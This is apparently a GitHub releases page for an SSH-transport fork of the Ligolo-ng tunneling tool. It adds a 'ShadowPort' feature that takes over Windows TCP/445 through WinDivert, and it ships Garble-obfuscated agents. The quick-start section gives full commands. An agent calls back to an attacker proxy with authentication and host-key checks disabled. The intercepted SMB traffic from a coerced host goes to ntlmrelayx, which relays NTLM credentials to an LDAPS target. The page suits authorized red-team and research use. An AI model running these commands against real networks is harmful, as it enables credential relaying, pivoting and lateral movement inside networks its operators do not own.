Skip to content

Releases: SenSecurity/ligolo-ng-ssh

Ligolo-ng SSH ShadowPort v0.9-ssh.2

Choose a tag to compare

@SenSecurity SenSecurity released this 29 Jul 21:56

Ligolo-ng SSH ShadowPort fork

This is an independent fork of nicocha30/ligolo-ng. Nicolas Chatelain and the upstream contributors deserve full credit for Ligolo-ng and its core tunneling engine. This release is not an official upstream build.

What is new

  • Two separate Windows AMD64 agents: agent-shadow.exe and agent-shadow-garble.exe
  • Source-scoped TCP/445 ShadowPort translation to an unoccupied internal port
  • Existing Ligolo reverse listener streams carried entirely through SSH
  • CLI, authenticated API, Web UI, listings, deletion, and reconnect metadata parity
  • Official unchanged WinDivert 2.2.2 AMD64 runtime embedded, hash-pinned, and driver-signature checked
  • All 12 previous Windows/Linux AMD64/ARM64 proxy, normal-agent, and Garble-agent binaries retained

The target needs only the chosen ShadowPort EXE plus built-in Windows PowerShell. Run it from an elevated Administrator shell with -allow-shadow-port. SYSTEM is not required. Windows must materialize the signed driver temporarily on disk while a ShadowPort listener is active.

Quick start without an agent key

Proxy:

./proxy -laddr ssh://0.0.0.0:22 -ssh-user ligolo -ssh-host-key ./ssh_host_ed25519 -ssh-insecure-allow-no-auth

Agent:

.\agent-shadow.exe `
  -connect ssh://PROXY_IP:22 `
  -ssh-user ligolo `
  -ssh-insecure-no-auth `
  -ssh-insecure-ignore-host-key `
  -allow-shadow-port `
  -retry `
  -reconnect

Proxy console:

session
listener_add --tcp --addr AGENT_IPV4:445 --to 127.0.0.1:8445 --shadow-port --shadow-internal-port 8445 --shadow-source COERCED_HOST_IPV4_OR_CIDR

Receiver:

sudo ntlmrelayx.py -ip 127.0.0.1 --smb-port 8445 -smb2support -t ldaps://RELAY_TARGET

See the attached README.md for key-authenticated commands, host-key pinning, Responder, Web UI, inspection, and cleanup.

Verification

  • Normal and Garble ShadowPort agents passed real Windows TCP/445 -> SSH -> WSL round trips with and without an SSH client key.
  • Impacket 0.13.1 ntlmrelayx.py received SMB2/NTLM through ShadowPort on port 8445.
  • Forced agent termination restored native TCP/445 immediately; documented cleanup removed expected crash residue.
  • PID 4 remained the native TCP/445 owner.
  • SHA256SUMS.txt, build-manifest.json, and TEST-REPORT.md are attached.

Ligolo-ng SSH v0.9-ssh.1

Choose a tag to compare

@SenSecurity SenSecurity released this 29 Jul 18:27

Ligolo-ng SSH v0.9-ssh.1

This is an independent fork of
nicocha30/ligolo-ng.
Nicolas Chatelain (@nicocha30) deserves full
credit for the original project, core tunneling engine, and ongoing upstream
work. This is not an official Ligolo-ng release.

What this fork adds

  • Real SSH transport from agent to proxy
  • Public-key agent authentication by default
  • Host-key fingerprint and known_hosts verification
  • Explicit no-agent-key mode for constrained assessment environments
  • SSH keepalives and automatic reconnect/recovery
  • Windows and Linux builds for AMD64 and ARM64
  • Normal and Garble-obfuscated agent builds
  • Embedded Ligolo-ng Web UI

Downloads

  • ligolo-ng-ssh-windows-amd64.zip: Windows x64 bundle
  • ligolo-ng-ssh-windows-arm64.zip: Windows ARM64 bundle
  • ligolo-ng-ssh-linux-amd64.tar.gz: Linux x64 bundle
  • ligolo-ng-ssh-linux-arm64.tar.gz: Linux ARM64 bundle
  • Individual Windows .exe files are also attached
  • README.md: copy-paste commands with and without agent keys
  • SHA256SUMS.txt: release-asset checksums
  • TEST-REPORT.md: runtime verification evidence

Each platform bundle contains proxy, agent, agent-garble, and the command
README.

Security warning

The no-agent-key mode still uses encrypted SSH, but it does not authenticate
the agent. Combining it with -ssh-insecure-ignore-host-key also disables
proxy identity verification and permits man-in-the-middle attacks. Use
public-key authentication and host-key pinning whenever possible. Use only on
systems and networks you are authorized to assess.

Verification

The attached binaries are the exact set covered by TEST-REPORT.md. Testing
included SSH with and without agent keys, TCP/UDP/ICMP through TUN, reverse
listeners, reconnect/recovery, normal and Garble agents, Windows and WSL Linux
runtime paths, Linux ARM64 SSH handshakes under QEMU, Web UI/API checks, Go
tests, go vet, and race tests.